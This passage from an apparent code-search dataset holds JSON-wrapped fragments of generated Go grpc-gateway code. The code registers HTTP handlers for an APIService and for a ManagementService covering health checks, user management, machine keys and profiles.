cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/IsUsernameAvailable\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_IsUsernameAvailable_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_IsUsernameAvailable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_IsOrgNameAvailable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/IsOrgNameAvailable\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_IsOrgNameAvailable_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_IsOrgNameAvailable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_DestroyAccount_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/DestroyAccount\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_DestroyAccount_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_DestroyAccount_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "24fd972382ffada621f671f7fd436cc8", "score": "0.71371293", "text": "func RegisterManagementServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ManagementServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Healthz_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_Healthz_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Healthz_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Ready_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_Ready_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Ready_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Validate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_Validate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Validate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetZitadelDocs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetZitadelDocs_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetZitadelDocs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetIam_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetIam_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetIam_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_IsUserUnique_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_IsUserUnique_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_IsUserUnique_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserByLoginNameGlobal_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserByLoginNameGlobal_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserByLoginNameGlobal_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchUsers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_LockUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_LockUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_LockUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UnlockUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UnlockUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UnlockUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_DeleteUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeleteUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeleteUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_UserChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UserChanges_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UserChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddMachineKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_DeleteMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeleteMachineKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeleteMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchMachineKeys_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchMachineKeys_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchMachineKeys_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMachineKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetMachineKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMachineKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserProfile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserProfile_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserProfile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserProfile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, 